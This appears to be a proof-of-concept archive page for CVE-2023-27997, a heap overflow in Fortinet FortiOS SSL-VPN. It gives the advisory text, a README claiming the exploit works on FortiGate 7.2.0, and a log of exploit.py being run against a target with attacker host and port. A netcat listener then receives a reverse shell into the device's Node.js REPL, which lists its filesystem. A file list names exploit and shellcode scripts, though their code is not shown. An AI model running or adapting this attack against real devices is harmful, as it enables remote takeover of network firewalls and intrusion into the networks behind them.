Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-27997 PoC — Fortinet FortiOS 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Fortinet FortiOS 缓冲区错误漏洞 (CVE-2023-27997)
Description:A heap-based buffer overflow vulnerability [CWE-122] in FortiOS version 7.2.4 and below, version 7.0.11 and below, version 6.4.12 and below, version 6.0.16 and below and FortiProxy version 7.2.3 and below, version 7.0.9 and below, version 2.0.12 and below, version 1.2 all versions, version 1.1 all versions SSL-VPN may allow a remote attacker to execute arbitrary code or commands via specifically crafted requests.
Readme
# CVE-2023-27997

FortiGate VM64 7.2.0 is exploitable by this code. (note that the code was written in a very stupid way.)

## Proof of Concept

```
$ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999
[+] generating shellcode
[+] salt=b'25c2dcf2'
[+] processing hash
    [+] finding hash in cache
    [-] not in cache
    [+] computing
    [+] loading
[+] heap spray
[+] execute
```

```
$ nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from [192.168.106.142] port 9999 [tcp/*] accepted (family 2, sport 2165)
Welcome to Node.js v12.20.1.
Type ".help" for more information.
> .help
.break   Sometimes you get stuck, this gets you out
.clear   Alias for .break
.exit    Exit the repl
.help    Print this help message
.load    Load JS from a file into the REPL session
.save    Save all evaluated commands in this REPL session to a file

Press ^C to abort current expression, ^D to exit the repl
> fs.readdir("/", (err, files) => {
  files.forEach(file => {
    console.log(file);
  });
});
... ..... ..... ... undefined
> .fgtsum
.fgtsum2
bin
boot
data
data2
dev
etc
fortidev
init
lib
lib64
local
migadmin
node-scripts
proc
root
sbin
sys
tmp
usr
var

> 
```
File Snapshot

[4.0K] /data/pocs/c81f87e605adacfc1ac52d26c08bdfe26fc52929 ├── [1.7K] calc_hashes.py ├── [ 10K] exploit.py ├── [1.1K] find.py ├── [1.2K] README.md ├── [3.5K] run-calc-hashes.py └── [ 988] shellcode.py 0 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →